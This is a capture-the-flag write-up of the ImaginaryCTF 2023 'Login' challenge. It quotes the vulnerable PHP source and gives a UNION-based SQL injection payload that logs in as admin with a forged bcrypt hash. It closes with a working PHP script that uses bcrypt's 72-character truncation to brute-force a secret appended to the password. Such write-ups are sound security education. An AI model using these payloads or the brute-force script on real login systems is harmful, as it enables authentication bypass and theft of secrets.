# Login - ImaginaryCTF 2023 This is a solve for a ctf I participated with Galette Cidre CTF (GCC), the school club. ## Challenge description > A classic PHP login page, nothing special. > http://login.chal.imaginaryctf.org/ ## TL;DR SQLi and BCRYPT truncation exploit ## Methodology When going on the given URL, nothing special, but when we inspect the source of the page (ctrl+u), we can see this line at the very end of the document : ```html <!-- /?source --> ``` ![](https://media.tenor.com/kHcmsxlKHEAAAAAM/rock-one-eyebrow-raised-rock-staring.gif) Following the instruction, we got the source code on `http://login.chal.imaginaryctf.org/?source` ```php <?php if (isset($_GET['source'])) { highlight_file(__FILE__); die(); } $flag = $_ENV['FLAG'] ?? 'jctf{test_flag}'; $magic = $_ENV['MAGIC'] ?? 'aabbccdd11223344'; $db = new SQLite3('/db.sqlite3'); $username = $_POST['username'] ?? ''; $password = $_POST['password'] ?? ''; $msg = ''; if (isset($_GET[$magic])) { $password .= $flag; } if ($username && $password) { $res = $db->querySingle("SELECT username, pwhash FROM users WHERE username = '$username'", true); if (!$res) { $msg = "Invalid username or password"; } else if (password_verify($password, $res['pwhash'])) { $u = htmlentities($res['username']); $msg = "Welcome $u! But there is no flag here :P"; if ($res['username'] === 'admin') { $msg .= "<!-- magic: $magic -->"; } } else { $msg = "Invalid username or password"; } } ?> ``` From the code, we understand that it retrieves the hash from the database based on the given user, and then verify if our password corresponds to the hash. We must acknowledge that password_verify in PHP adapt to the hash information, so whatever hash we gave, it will read the prefix of the hash to use the good algorithm with the appropriate parameters. We can generate it on in PHP : `echo password_hash("PimpMyShell", PASSWORD_BCRYPT);` > $2y$10$kGci0uMYc0fqZbRzlueQjuUF9qPmiUJZk3qLhk79tv39808UtGECq We can now login using `PimpMyShell` as a password, and the below payload as the username : ```sql ' UNION SELECT 'admin', '$2y$10$kGci0uMYc0fqZbRzlueQjuUF9qPmiUJZk3qLhk79tv39808UtGECq' -- ``` It works ! It gave us the value of $magic in the source code : ```html <p> Welcome admin! But there is no flag here :P<!-- magic: 688a35c685a7a654abc80f8e123ad9f0 --> </p> ``` Still not the flag but better than nothing. We can now add the flag to our password : ```php if (isset($_GET[$magic])) { $password .= $flag; } ``` So we now have to work with this url : `http://login.chal.imaginaryctf.org/?688a35c685a7a654abc80f8e123ad9f0="` Now, the password is concatenated with the flag, how can we generate the good hash if we don't know what the flag is ? There is a fun thing with the bcrypt hashing algorithm, it only keeps the 72 firsts chars for the hashing process. ```php password_verify(str_repeat('a', 72)."PimpMyShell", password_hash(str_repeat('a', 72), PASSWORD_BCRYPT)) ``` This snippet would return true, even if the two strings are different. So we can actually bruteforce each char one by one by generating a hash of 71 'a' concatenated with the letter we want to know, if the page welcome us, it is the good letter, and we can go to 70 'a' + found letter + to be found letter and so on ... | Number of characters | String | | -------- | -------- | | 0 | aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa | | 0 | aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab | | 0 | aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaac | | 0 | aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaad | | 0 | aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaae | | 0 | aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaf | | 0 | aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag | | 0 | aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaah | | 0 | aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaai (Welcomed us) | | 1 | aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaia | | 1 | aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaib | | 1 | aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaic (Welcomed us) | | 2 | ... | And we continue until having the full flag, here is the script I made to bruteforce it : ```php <?php $flag = "ictf"; function loginAttempt($password, $length) { $curl = curl_init("http://login.chal.imaginaryctf.org/?688a35c685a7a654abc80f8e123ad9f0="); curl_setopt($curl, CURLOPT_POST, true); $password_sans_concat = substr($password, 0, 73 - $length); $params = array( "username" => "' UNION SELECT 'admin', '".bcrypt_hash($password)."' -- ", "password" => $password_sans_concat ); curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params)); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($curl); curl_close($curl); return $result; } function bcrypt_hash($password) { $options = [ 'cost' => 4, ]; return password_hash($password, PASSWORD_BCRYPT, $options); } while (strpos($flag, '}') === false) { $n = 71 - strlen($flag); for ($i = 32; $i < 128; $i++) { $char = chr($i); $password = str_repeat("a", $n).$flag.$char; $result = loginAttempt($password, 2 + strlen($flag) ); if (strpos($result, "Welcome") !== false) { $flag .= $char; echo "flag : ".$flag."\n"; break; } } } ``` And after one minute : > flag : ictf{why_are_bcrypt_truncating_my_passwords?!}